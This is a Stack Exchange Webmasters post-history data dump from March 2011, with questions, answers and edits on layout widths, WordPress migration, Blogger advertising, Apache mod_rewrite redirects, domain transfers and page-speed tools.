  <row Id="24784" PostHistoryTypeId="2" PostId="11008" RevisionGUID="678713b4-3e7f-4e7c-8f12-41f79ef56cf1" CreationDate="2011-03-21T18:53:22.933" UserId="6193" Text="I'm working on a group project and trying to get my colleagues to submit a drawing regarding their vision for an online application; this application will be viewed through a PC.  Although I suspect there is not an industry standard, I am certatin that there must be common approaches for sites with fixed-width layouts. I need to know the most common sense of proportions in the industry.&#xD;&#xA;&#xD;&#xA;We are going to keep this prototype simple, and therefore will not be getting into detecting browsers, screen widths etc.  So, I figured I would ask this in a simple way with the hope of getting a simple answer:&#xD;&#xA;&#xD;&#xA;**What is the 'most common' width *and height* that webpages are being designed for most recently.** It would be helpful if I could site a source when I tell my coleagues why I chose a specific sense of proportions for them to base their drawings on.&#xD;&#xA;&#xD;&#xA;Please note how I asked this question:&#xD;&#xA;&#xD;&#xA; - I am not asking for the most common screen resolutions. &#xD;&#xA; - I am not asking for the most common browsers.&#xD;&#xA; - I am not asking for personal preferences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to know what dimensions most websites are opting for in regard to fixed-size layouts. I know that people normally scroll and therefore height might not be part of a ~'standard'; in that case, I will settle for width and some hint at height to arrive at proportions to base our drawings on." />
  <row Id="24785" PostHistoryTypeId="1" PostId="11008" RevisionGUID="678713b4-3e7f-4e7c-8f12-41f79ef56cf1" CreationDate="2011-03-21T18:53:22.933" UserId="6193" Text="What is the 'most common' width and height that websites are being designed for these days?" />
  <row Id="24786" PostHistoryTypeId="3" PostId="11008" RevisionGUID="678713b4-3e7f-4e7c-8f12-41f79ef56cf1" CreationDate="2011-03-21T18:53:22.933" UserId="6193" Text="&lt;website-design&gt;&lt;website&gt;&lt;design&gt;" />
  <row Id="24787" PostHistoryTypeId="5" PostId="11008" RevisionGUID="58591af1-3d03-4e78-b52e-0e746177148b" CreationDate="2011-03-21T18:58:54.987" UserId="6193" Comment="clarity" Text="I'm working on a group project and trying to get my colleagues to submit a drawing regarding their vision for an online application; this application will be viewed through a PC.  Although I suspect there is not an industry standard, I am certatin that there must be common approaches for sites with fixed-width layouts. I need to know the most common sense of proportions in the industry.&#xD;&#xA;&#xD;&#xA;We are going to keep this prototype simple, and therefore will not be detecting browsers, screen widths etc.  So, I figured I would ask this in a simple way with the hope of getting a simple answer:&#xD;&#xA;&#xD;&#xA;**What is the 'most common' width and height that webpages are being designed for most recently.** It would be very helpful if I could site a source when I tell my coleagues why I chose a specific sense of proportions for them to base their drawings on.&#xD;&#xA;&#xD;&#xA;Please note how I asked this question:&#xD;&#xA;&#xD;&#xA; - I am not asking for the most common screen resolutions. &#xD;&#xA; - I am not asking for the most common browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to know what dimensions most websites are opting for in regard to fixed-size layouts. I know that people normally scroll and therefore height might not be part of a ~'standard'; in that case, I will settle for the most common width." />
  <row Id="24788" PostHistoryTypeId="2" PostId="11009" RevisionGUID="f6be11e6-a787-486a-b079-df5909be13bf" CreationDate="2011-03-21T19:03:04.873" UserId="1253" Text="Like you said there is no standard height as that is extremely fluid so just use whatever helps you visualize your design best.&#xD;&#xA;&#xD;&#xA;For width 960 pixels wide seems to be current standard for fixed width designs. It's common enough that [a website has been dedicated to exploring layouts at that width][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://960.gs/" />
  <row Id="24789" PostHistoryTypeId="6" PostId="11008" RevisionGUID="70d23b00-4486-48da-b866-68782eccd55d" CreationDate="2011-03-21T19:06:06.520" UserId="1253" Comment="Removed redundant tags &quot;website design&quot;" Text="&lt;website-design&gt;" />
  <row Id="24790" PostHistoryTypeId="5" PostId="11009" RevisionGUID="7571da35-fb41-4849-8ed5-7da046007a5b" CreationDate="2011-03-21T19:08:27.283" UserId="1253" Comment="added 2 characters in body; added 76 characters in body" Text="Like you said there is no standard height as that is extremely fluid so just use whatever helps you visualize your design best.&#xD;&#xA;&#xD;&#xA;For width 960 pixels wide seems to be current &quot;standard&quot; for fixed width designs. It's common enough that [a website has been dedicated to exploring layouts at that width][1]. &#xD;&#xA;&#xD;&#xA;(I'm assuming you don't want anyone ranting about using a fluid design?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://960.gs/" />
  <row Id="24791" PostHistoryTypeId="2" PostId="11010" RevisionGUID="3d9c80b4-d184-4e7b-8fba-73b54cadaab7" CreationDate="2011-03-21T19:13:25.030" UserId="1253" Text="Assuming by develop you mean templating and configuring a WordPress installation, this is not difficult to do. WordPress is just another database driven application so as long as you upload all of the files associated with WordPress and a copy of the database you will be &quot;synced&quot;.&#xD;&#xA;&#xD;&#xA;What you can do is install [WAMP][1] and then install WordPress normally. Then after you are done configuring it, upload all of the WordPress files via FTP. Then use phpMyAdmin in WAMP to export the database for you. Then run that SQL code ion your server, probably also through phpMyAdmin, and you're done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wampserver.com/en/index.php" />
  <row Id="24792" PostHistoryTypeId="2" PostId="11011" RevisionGUID="c77f7eda-d7a3-4fc1-8265-9b29d5bbf41e" CreationDate="2011-03-21T19:52:13.453" UserId="841" Text="I haven't started yet but I'm planning on trying this one on my next project [http://www.ginzametrics.com/][1]&#xD;&#xA;&#xD;&#xA;It integrates with analytics packages (google, omniture, and others) and has great prices including a free starter package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ginzametrics.com/" />
  <row Id="24793" PostHistoryTypeId="25" PostId="11007" RevisionGUID="e43d8b10-480e-464b-bf7c-527f37f289f4" CreationDate="2011-03-21T20:30:24.813" Comment="http://twitter.com/#!/StackWebmasters/status/49930883045666816" />
  <row Id="24794" PostHistoryTypeId="2" PostId="11012" RevisionGUID="5d4b2054-0d47-4268-8312-7ed8477321b9" CreationDate="2011-03-21T06:29:25.160" UserId="5969" Text="I have a web application on joomla 1.0.15 with virtumart 1.0.15 and mojoblog beta v0.16 . There are some changes in virtue mart core file and table structure according to my application requirement.&#xD;&#xA;I want to upgrade joomla with virtuemart and mojoblog component. Please guide me tell me a proper way to do this. My application a have a lot user information and order records in database.&#xD;&#xA;Need your suggestion.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="24795" PostHistoryTypeId="1" PostId="11012" RevisionGUID="5d4b2054-0d47-4268-8312-7ed8477321b9" CreationDate="2011-03-21T06:29:25.160" UserId="5969" Text="Upgrad joomla 1.0.15 to joomla 1.5 with virtumart 1.0.15" />
  <row Id="24796" PostHistoryTypeId="3" PostId="11012" RevisionGUID="5d4b2054-0d47-4268-8312-7ed8477321b9" CreationDate="2011-03-21T06:29:25.160" UserId="5969" Text="&lt;migration&gt;&lt;joomla&gt;" />
  <row Id="24797" PostHistoryTypeId="17" PostId="11012" RevisionGUID="af1cebce-0998-410f-bfe1-4b1f73cb38bf" CreationDate="2011-03-21T20:35:31.297" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/60357/upgrad-joomla-1-0-15-to-joomla-1-5-with-virtumart-1-0-15" Text="" />
  <row Id="24798" PostHistoryTypeId="2" PostId="11013" RevisionGUID="e1a91bbf-2702-4c65-b423-1f79a82fad7d" CreationDate="2011-03-21T20:39:21.587" UserDisplayName="Oleksandr Fesak" Text="I want to interest if I can use my custom advertising on my blog hosted on Blogger.com.&#xD;&#xA;I am worying about this because it is free, and google always suggests to use his advertising (adsense and amazon).&#xD;&#xA;&#xD;&#xA;So, whether I can to use custom advertising?&#xD;&#xA;And whether blogger.com has any limitations comparing to other, paid services?" />
  <row Id="24799" PostHistoryTypeId="1" PostId="11013" RevisionGUID="e1a91bbf-2702-4c65-b423-1f79a82fad7d" CreationDate="2011-03-21T20:39:21.587" UserDisplayName="Oleksandr Fesak" Text="Blogging and Blogger.com" />
  <row Id="24800" PostHistoryTypeId="3" PostId="11013" RevisionGUID="e1a91bbf-2702-4c65-b423-1f79a82fad7d" CreationDate="2011-03-21T20:39:21.587" UserDisplayName="Oleksandr Fesak" Text="&lt;blog&gt;" />
  <row Id="24801" PostHistoryTypeId="17" PostId="11013" RevisionGUID="09ca9187-7f6c-4e7e-bbe4-15601cf46d99" CreationDate="2011-03-21T21:21:16.933" UserId="-1" Comment="from http://stackoverflow.com/questions/5383367/blogging-and-blogger-com" Text="" />
  <row Id="24802" PostHistoryTypeId="2" PostId="11014" RevisionGUID="b02951a9-7823-4e65-8f45-c3ceee42a43d" CreationDate="2011-03-21T21:21:55.057" UserId="4780" Text="Blogger allows you to add arbitrary HTML content, including Javascript and frames, anywhere in your template.  &#xD;&#xA;As long as your advertising system doesn't require server-side code on the blog (or database access), it should work fine.&#xD;&#xA;&#xD;&#xA;To do it, go to the `Design` tab, then click `Edit HTML`.  &#xD;&#xA;You can then download the full template, add it to source control, edit it as necessary, then upload it to Blogger." />
  <row Id="24811" PostHistoryTypeId="5" PostId="10960" RevisionGUID="cdb07266-b68e-407b-a3bc-95bce353809d" CreationDate="2011-03-21T22:08:54.983" UserId="4461" Comment="capitalization, reformatting, removing extraneous text" Text="Regarding the domain http://www.pravninasvet.com, there is a problem where it sometimes loads fast, sometimes very slow.&#xD;&#xA;&#xD;&#xA;The domain is registered by godaddy, the server is in Germany. But when the page loads very slow, the is ping normal:&#xD;&#xA;&#xD;&#xA;    Pinging pravninasvet.com [91.194.91.202] with 32 bytes of data:&#xD;&#xA;    &#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=52ms TTL=55&#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=50ms TTL=55&#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=52ms TTL=55&#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=51ms TTL=55&#xD;&#xA;    &#xD;&#xA;    Ping statistics for 91.194.91.202:&#xD;&#xA;        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),&#xD;&#xA;    Approximate round trip times in milli-seconds:&#xD;&#xA;        Minimum = 50ms, Maximum = 52ms, Average = 51ms&#xD;&#xA;&#xD;&#xA;Can this be a problem with the server being in Germany and domain registered at godaddy? Or what else can be the problem?" />
  <row Id="24812" PostHistoryTypeId="6" PostId="10960" RevisionGUID="cdb07266-b68e-407b-a3bc-95bce353809d" CreationDate="2011-03-21T22:08:54.983" UserId="4461" Comment="capitalization, reformatting, removing extraneous text" Text="&lt;php&gt;&lt;server&gt;&lt;page-speed&gt;" />
  <row Id="24813" PostHistoryTypeId="24" PostId="10960" RevisionGUID="cdb07266-b68e-407b-a3bc-95bce353809d" CreationDate="2011-03-21T22:08:54.983" Comment="Proposed by 4461 approved by 1064 edit id of 76" />
  <row Id="24814" PostHistoryTypeId="5" PostId="11013" RevisionGUID="c11de2a6-3601-48f6-a97a-5e215f516297" CreationDate="2011-03-21T22:12:29.253" UserId="4780" Comment="Add tag, fix grammar" Text="I want to interest if I can use my custom advertising on my blog hosted on Blogger.com.  &#xD;&#xA;I am worying about this because it is free, and google always suggests to use his advertising (adsense and amazon).&#xD;&#xA;&#xD;&#xA;So, whether I can to use custom advertising?&#xD;&#xA;And does Blogger.com has any limitations comparing to other, paid services?" />
  <row Id="24815" PostHistoryTypeId="6" PostId="11013" RevisionGUID="c11de2a6-3601-48f6-a97a-5e215f516297" CreationDate="2011-03-21T22:12:29.253" UserId="4780" Comment="Add tag, fix grammar" Text="&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="24816" PostHistoryTypeId="24" PostId="11013" RevisionGUID="c11de2a6-3601-48f6-a97a-5e215f516297" CreationDate="2011-03-21T22:12:29.253" Comment="Proposed by 4780 approved by -1 edit id of 75" />
  <row Id="24817" PostHistoryTypeId="5" PostId="11013" RevisionGUID="fd1d67b6-126f-438c-a114-2cf544422096" CreationDate="2011-03-21T22:12:29.550" UserId="1064" Comment="Rewritten for English grammatical conventions and clarity" Text="I want to know if I can use my own advertising solution with my blog hosted at Blogger.com&#xD;&#xA;&#xD;&#xA;I am worried that I will not be able to - Google suggests I use its Adsense service and Amazon.&#xD;&#xA;&#xD;&#xA;Can I use my own advertising solution?&#xD;&#xA;&#xD;&#xA;Does Blogger.com limit the use of alternative advertising solutions compared to paid blog hosting services?" />
  <row Id="24818" PostHistoryTypeId="4" PostId="11013" RevisionGUID="fd1d67b6-126f-438c-a114-2cf544422096" CreationDate="2011-03-21T22:12:29.550" UserId="1064" Comment="Rewritten for English grammatical conventions and clarity" Text="Custom advertising integration with Blogger.com" />
  <row Id="24819" PostHistoryTypeId="6" PostId="11013" RevisionGUID="fd1d67b6-126f-438c-a114-2cf544422096" CreationDate="2011-03-21T22:12:29.550" UserId="1064" Comment="Rewritten for English grammatical conventions and clarity" Text="&lt;advertising&gt;&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="24824" PostHistoryTypeId="2" PostId="11018" RevisionGUID="543d28ae-0d28-4b80-9c6a-6ff977305418" CreationDate="2011-03-21T22:29:21.043" UserId="841" Text="Yes, you can create forms using services like [http://www.jotform.com/][1] or [http://wufoo.com/][2] and embed the forms into any website. The forms can include multiple fields of any type (including email address). Both services collect the data for you and you can get to it by logging in there or you can receive an email with the responses. Both have free starter editions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jotform.com/&#xD;&#xA;  [2]: http://wufoo.com/" />
  <row Id="24825" PostHistoryTypeId="2" PostId="11019" RevisionGUID="0fb73d12-8fbc-4cb8-8e67-f0ff475c05a9" CreationDate="2011-03-21T22:30:23.103" UserId="6247" Text="I have a number of D language programs (.d extension) and a compile-and-run tool (rdmd)--I'd like to configure Apache (version 2.2) to handle URLs such as &quot;mysite.com/d/hello.d&quot; by running rdmd with the requested resource. The programs do output valid HTTP headers.&#xD;&#xA;&#xD;&#xA;I've researched AddHandler and Action, but have been unsuccessful in getting them to do what I want, namely executing rdmd with the resource. I suspect that the problem is that rdmd needs to be in some special cgi directory.&#xD;&#xA;&#xD;&#xA;Can someone walk through the steps necessary to configure Apache on a Debian based system, such that it executes my files instead of offering them up for download? Directory specific ('/d') or site-wide execution are both fine." />
  <row Id="24826" PostHistoryTypeId="1" PostId="11019" RevisionGUID="0fb73d12-8fbc-4cb8-8e67-f0ff475c05a9" CreationDate="2011-03-21T22:30:23.103" UserId="6247" Text="Adding custom handlers" />
  <row Id="24827" PostHistoryTypeId="3" PostId="11019" RevisionGUID="0fb73d12-8fbc-4cb8-8e67-f0ff475c05a9" CreationDate="2011-03-21T22:30:23.103" UserId="6247" Text="&lt;apache&gt;&lt;apache2&gt;" />
  <row Id="24828" PostHistoryTypeId="6" PostId="10163" RevisionGUID="0821d1de-6536-456a-86ae-86dbd25110e5" CreationDate="2011-03-21T22:48:21.457" UserId="1253" Comment="removed &quot;website&quot; tag, added &quot;widgets looking-for-a-script&quot; tags" Text="&lt;looking-for-a-script&gt;&lt;widgets&gt;" />
  <row Id="24829" PostHistoryTypeId="2" PostId="11020" RevisionGUID="582de9ef-36fb-4543-9b52-cdb433d00c24" CreationDate="2011-03-21T22:49:57.630" UserId="2912" Text="Since 2006 or so I've owned a .name domain name (3rd level, eg. john.doe.name). I bought it originally at a service called FreeYourID.com, which offered the .name domain as well as automatically making it your OpenID (provided by myOpenID). Since then I've used that domain as my OpenID on numerous sites including StackExchange, as well as hosting a simple personal site there (it's set up to redirect to a different URL, but I just point people to the .name for simplicity's sake).&#xD;&#xA;&#xD;&#xA;In 2009 FreeYourID shut down and they made sure all their customers were moved to [Key-Systems GmbH][1] based in Germany. I looked around their website and concluded they looked trustworthy so I decided to let the transfer go ahead. Unfortunately, what actually happened was Key-Systems stuck all the .name domains into its [domaindiscount24][2] service, which has a terrible, *terrible* user interface that feels like it was designed by a committee of sysadmins on drugs (no offense).&#xD;&#xA;&#xD;&#xA;So we finally arrive at the question: I want to move my .name domain somewhere else. Somewhere with a management panel that I can figure out, such as Dreamhost. But I also want to make sure nothing gets screwed up, like the fact that it doubles as an OpenID. And given the complexity of the situation, I don't really know where else to ask.&#xD;&#xA;&#xD;&#xA;Where should I go and what should I do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.key-systems.net/&#xD;&#xA;  [2]: http://domaindiscount24.net/" />
  <row Id="24830" PostHistoryTypeId="1" PostId="11020" RevisionGUID="582de9ef-36fb-4543-9b52-cdb433d00c24" CreationDate="2011-03-21T22:49:57.630" UserId="2912" Text="What to do with my .name domain name?" />
  <row Id="24831" PostHistoryTypeId="3" PostId="11020" RevisionGUID="582de9ef-36fb-4543-9b52-cdb433d00c24" CreationDate="2011-03-21T22:49:57.630" UserId="2912" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;openid&gt;&lt;domain-registrar&gt;" />
  <row Id="24832" PostHistoryTypeId="17" PostId="11020" RevisionGUID="d26d552d-c1b1-4403-9655-3eb26aa2d85c" CreationDate="2011-03-21T22:53:05.533" UserId="-1" Comment="from http://superuser.com/questions/260568/what-to-do-with-my-name-domain-name" Text="" />
  <row Id="24833" PostHistoryTypeId="5" PostId="11018" RevisionGUID="c36d16ce-24de-4440-b15c-3a696a410980" CreationDate="2011-03-21T23:12:09.897" UserId="841" Comment="added 356 characters in body" Text="If you just want to collect the email addresses you can create forms using services like [JotForm][1] or [WuFoo][2] and embed the forms into any website. The forms can include multiple fields of any type (including email address). Both services collect the data for you and you can get to it by logging to your account there or you can receive an email with the responses. Both have free starter editions.&#xD;&#xA;&#xD;&#xA;On the other hand, if you are collecting email addresses so you can send out a mass email to those people who sign up, then services like MailChimp or iContact are more what you are looking for. They not only collect the email address, but also allow you to design/write an email and then do all of the mass sending for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jotform.com/&#xD;&#xA;  [2]: http://wufoo.com/" />
  <row Id="24834" PostHistoryTypeId="25" PostId="11013" RevisionGUID="08bd1060-d3ea-4650-8598-e50872217f2e" CreationDate="2011-03-21T23:30:24.923" Comment="http://twitter.com/#!/StackWebmasters/status/49976181608546305" />
  <row Id="24835" PostHistoryTypeId="2" PostId="11021" RevisionGUID="b9988cfa-3ac3-4d2e-84b3-8e221e3fcc3e" CreationDate="2011-03-21T23:54:07.373" UserId="6163" Text="I'm running an up-to-date version of a WP multi-site network successfully (homepage and subdomains all work), with only one problem.&#xD;&#xA;&#xD;&#xA;My domain loads perfectly with the www., but when the www. isn't preceding, it loads up to this page: http://www.domain.com/wp-signup.php?new=domain.com.&#xD;&#xA;&#xD;&#xA;I've never had this problem with WP before, so I'm looking for a way to fix this... Trying to make www.domain.com and domain.com load up the homepage fine, and be like my regular WP sites ending up in the address bar as http://www.domain.com/&#xD;&#xA;&#xD;&#xA;How can I achieve this? What must I edit?&#xD;&#xA;&#xD;&#xA;Thank you for your help in advance." />
  <row Id="24836" PostHistoryTypeId="1" PostId="11021" RevisionGUID="b9988cfa-3ac3-4d2e-84b3-8e221e3fcc3e" CreationDate="2011-03-21T23:54:07.373" UserId="6163" Text="www.domain.com loads, but domain.com loads as an error on my WP multi-site network" />
  <row Id="24837" PostHistoryTypeId="3" PostId="11021" RevisionGUID="b9988cfa-3ac3-4d2e-84b3-8e221e3fcc3e" CreationDate="2011-03-21T23:54:07.373" UserId="6163" Text="&lt;wordpress&gt;&lt;cms&gt;&lt;404&gt;" />
  <row Id="24838" PostHistoryTypeId="2" PostId="11022" RevisionGUID="a7b88fb8-2c66-4835-b83b-5e475e3b2621" CreationDate="2011-03-22T00:02:31.603" UserId="6251" Text="Does anyone know what blogging software they used for omgiv.com?  I like the style and would like to use the same format." />
  <row Id="24839" PostHistoryTypeId="1" PostId="11022" RevisionGUID="a7b88fb8-2c66-4835-b83b-5e475e3b2621" CreationDate="2011-03-22T00:02:31.603" UserId="6251" Text="What blogging software is used for omgiv.com?" />
  <row Id="24840" PostHistoryTypeId="3" PostId="11022" RevisionGUID="a7b88fb8-2c66-4835-b83b-5e475e3b2621" CreationDate="2011-03-22T00:02:31.603" UserId="6251" Text="&lt;html&gt;&lt;blog&gt;&lt;web&gt;&lt;http&gt;&lt;site&gt;" />
  <row Id="24841" PostHistoryTypeId="2" PostId="11023" RevisionGUID="8ab86dde-0629-4c54-a8ff-60b3287ba39c" CreationDate="2011-03-22T00:09:59.373" UserId="1253" Text="Viewing the source will show it is WordPress 3.1" />
  <row Id="24842" PostHistoryTypeId="6" PostId="11022" RevisionGUID="62a1bb11-530c-4aba-95d7-317aa01914cc" CreationDate="2011-03-22T00:10:30.870" UserId="1253" Comment="Removed &quot;html web http site&quot; tags" Text="&lt;blog&gt;" />
  <row Id="24844" PostHistoryTypeId="2" PostId="11024" RevisionGUID="e115dc55-47fc-4ad2-b61a-9b5d5c134a37" CreationDate="2011-03-22T01:01:43.473" UserId="3590" Text="Dear folks, two scenarios where **FILE_NAMES.PHP** should be best representing the audiences searching for it. &#xD;&#xA;&#xD;&#xA;&gt;/poster.php  &#xD;&#xA;/design.php  &#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;&gt;/posters.php  &#xD;&#xA;/designs.php  &#xD;&#xA;&#xD;&#xA;Q1. What do you intuitivly think would be the best of these two?  &#xD;&#xA;Q2. What do the facts in general show? people search for singular or plural in search?  &#xD;&#xA;Q3. Do Search engines have common rule of thumb for this?  &#xD;&#xA;Q4. Should I pick either and go with either scenario consistently or does it depend on the word?&#xD;&#xA;&#xD;&#xA;Thanks very much for your ideas/suggestions. I reall don't know which one to go for." />
  <row Id="24845" PostHistoryTypeId="1" PostId="11024" RevisionGUID="e115dc55-47fc-4ad2-b61a-9b5d5c134a37" CreationDate="2011-03-22T01:01:43.473" UserId="3590" Text="Nouns as FILENAMES: singar or plural form?" />
  <row Id="24846" PostHistoryTypeId="3" PostId="11024" RevisionGUID="e115dc55-47fc-4ad2-b61a-9b5d5c134a37" CreationDate="2011-03-22T01:01:43.473" UserId="3590" Text="&lt;php&gt;&lt;search-engines&gt;&lt;search&gt;&lt;visitors&gt;&lt;filenames&gt;" />
  <row Id="24847" PostHistoryTypeId="6" PostId="11024" RevisionGUID="16ebb6fc-4113-4762-8cdd-7b2994cb08e8" CreationDate="2011-03-22T01:07:41.250" UserId="3590" Comment="edited tags" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;search-engines&gt;&lt;keywords&gt;&lt;filenames&gt;" />
  <row Id="24848" PostHistoryTypeId="2" PostId="11025" RevisionGUID="1f6da4cb-5ef6-49ff-8ea8-0ade71cca872" CreationDate="2011-03-22T00:58:58.483" UserDisplayName="supercheetah" Text="I want to get rid of the &quot;www&quot; in front of my domain, and I'm trying the following, but it's not working:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_POST} ^www\.example\.com [NC]&#xD;&#xA;    RewriteRule ^/(.*)       http://example.com/$1 [L,R]&#xD;&#xA;&#xD;&#xA;Basically, what I hope to accomplish is that someone going to &quot;www.example.com&quot; would be redirected to &quot;example.com.&quot;&#xD;&#xA;&#xD;&#xA;Any ideas as to what I'm doing wrong?&#xD;&#xA;&#xD;&#xA;I've even tried substituting the second line for this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_POST} www\.example\.com [NC]" />
  <row Id="24849" PostHistoryTypeId="1" PostId="11025" RevisionGUID="1f6da4cb-5ef6-49ff-8ea8-0ade71cca872" CreationDate="2011-03-22T00:58:58.483" UserDisplayName="supercheetah" Text="How do I get rid of the &quot;www&quot; with mod_rewrite?" />
  <row Id="24850" PostHistoryTypeId="3" PostId="11025" RevisionGUID="1f6da4cb-5ef6-49ff-8ea8-0ade71cca872" CreationDate="2011-03-22T00:58:58.483" UserDisplayName="supercheetah" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="24851" PostHistoryTypeId="17" PostId="11025" RevisionGUID="d42b24b9-d413-4630-866c-04c76922c6f0" CreationDate="2011-03-22T01:19:50.767" UserId="-1" Comment="from http://serverfault.com/questions/250134/how-do-i-get-rid-of-the-www-with-mod-rewrite" Text="" />
  <row Id="24852" PostHistoryTypeId="2" PostId="11026" RevisionGUID="28cda3d3-0c5b-42a1-8bd2-3b17dbd4e87a" CreationDate="2011-03-22T01:29:33.650" UserId="5806" Text="**Assuming your .htaccess is on the right place with the right permissions and&#xD;&#xA;your Apache server is configured to use it and mod_rewrite is enabled**:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.example.com$&#xD;&#xA;    RewriteRule ^/?(.*)$ http://example.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Note the HTTP_HOST vs HTTP_POST in your example and that I use a 301 redirect.&#xD;&#xA;This is better since some links may point to the www version and this will let&#xD;&#xA;them count towards your SEO ranking. Search engines will eventually always&#xD;&#xA;send people to the right place.&#xD;&#xA;" />
  <row Id="24853" PostHistoryTypeId="25" PostId="11025" RevisionGUID="faf11ce3-76c5-435c-b6fc-0c65850290f1" CreationDate="2011-03-22T02:30:25.050" Comment="http://twitter.com/#!/StackWebmasters/status/50021480750264320" />
  <row Id="24854" PostHistoryTypeId="2" PostId="11027" RevisionGUID="3ffc3969-6ef5-4208-92c2-e952c8525ce9" CreationDate="2011-03-22T02:56:42.463" UserId="6252" Text="Try not to think of it in terms of search engines. Instead consider it from a usability perspective. (Keep in mind search engines do take into account the bounce rate)&#xD;&#xA;&#xD;&#xA;The goal should be that the url should portray what the destination will be about. If there are multiple posters then you should go with posters.php&#xD;&#xA;&#xD;&#xA;Granted, the page title, description comes into play. One of my most recent projects was a custom built CMS where instead of having mysite.com/what-ever-url-slug-here I decided to make it prettier. So the result was mysite.com/What-Ever-URL-Slug-Here&#xD;&#xA;&#xD;&#xA;When the site pops up in the result, it looks very clean and it's easy for the users to read. So far my bounce rate has been lower than most of my other sites in the same niche. &#xD;&#xA;&#xD;&#xA;So in conclusion my point is, go with filename which best describes the content on the destination page and keep it as clean in terms of readability." />
  <row Id="24855" PostHistoryTypeId="2" PostId="11028" RevisionGUID="833553c3-c57b-4947-a9aa-a8188c177575" CreationDate="2011-03-22T03:06:14.760" UserId="6252" Text="What @John Conde said. In addition to that you have to factor in who your target audience is. For example, if my website is a technology blog or gadget blog, chances are my target audience is bit more tech-savvy than the normal audience, so I can shoot for 1200+ px wide layout. Or if I were focusing a site/blog/forum for webmasters I would go a bit more wider. &#xD;&#xA;&#xD;&#xA;At the end of the day figure out your mass demographics and follow what would ultimately work for them. &#xD;&#xA;&#xD;&#xA;Two VERY important things to keep in mind...&#xD;&#xA;&#xD;&#xA;1) If your design can work with a 900+ px then there is no reason to stretch it to 1200+ px even if your demographics can afford it..&#xD;&#xA;&#xD;&#xA;2) Ensure that you have proper structure in place which can accommodate those uers who may not have your target resolution..&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24856" PostHistoryTypeId="2" PostId="11029" RevisionGUID="98c58218-ba8f-488f-96b3-44ca68b54d01" CreationDate="2011-03-22T03:57:03.033" UserId="6253" Text="I've heard of these so called services where I can get 100 backlinks built everyday from web profiles etc via a software called Xrumer running on the servers.&#xD;&#xA;&#xD;&#xA;What is the benefit of getting 100 backlinks everyday when Google's algorithm takes account link velocity? Won't google easily see this kind of suspicious backlink building?" />
  <row Id="24857" PostHistoryTypeId="1" PostId="11029" RevisionGUID="98c58218-ba8f-488f-96b3-44ca68b54d01" CreationDate="2011-03-22T03:57:03.033" UserId="6253" Text="Do xrumer drip link blasts work?" />
  <row Id="24858" PostHistoryTypeId="3" PostId="11029" RevisionGUID="98c58218-ba8f-488f-96b3-44ca68b54d01" CreationDate="2011-03-22T03:57:03.033" UserId="6253" Text="&lt;blackhat&gt;" />
  <row Id="24859" PostHistoryTypeId="2" PostId="11030" RevisionGUID="72d29a1d-d5e6-473a-833a-381e81e0b6aa" CreationDate="2011-03-22T04:08:52.547" UserId="1253" Text="Xrumer gets garbage links. Even if there isn't such a thing as link velocity (and I don't personally believe there is) the links that software gets won't make any kind of difference in a page's rankings. Quality links is what webmasters want. Not garbage easy to grab links that aren't relevant or valuable in any other way." />
  <row Id="24860" PostHistoryTypeId="6" PostId="11024" RevisionGUID="7af91566-aef7-4a03-9a29-6429485221ed" CreationDate="2011-03-22T04:10:09.767" UserId="1253" Comment="removed &quot;web-development website-design search-engines&quot; tags, added &quot;seo&quot; tag" Text="&lt;seo&gt;&lt;keywords&gt;&lt;filenames&gt;" />
  <row Id="24861" PostHistoryTypeId="2" PostId="11031" RevisionGUID="8e3637e8-b4bb-4f93-ab5f-105264ac7841" CreationDate="2011-03-22T04:54:37.340" UserId="896" Text="Yahoo!'s [Yslow addon for Firefox][1] and [Chrome][2] will analyze a page and help point out factors affecting the loading speed of the site. &#xD;&#xA;&#xD;&#xA;Google's [Page Speed tools][3] will also analyze pages to find what is slowing them down. &#xD;&#xA;&#xD;&#xA;You may want to try installing one of these tools and running it on this site. They won't catch all of the possible problems, but will help you figure out how to optimize the code being sent to the browser so that it takes less time to load, and discover network issues that might be affecting performance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [2]: http://developer.yahoo.com/blogs/ydn/posts/2011/03/yslow-for-chrome/&#xD;&#xA;  [3]: http://code.google.com/speed/page-speed/" />
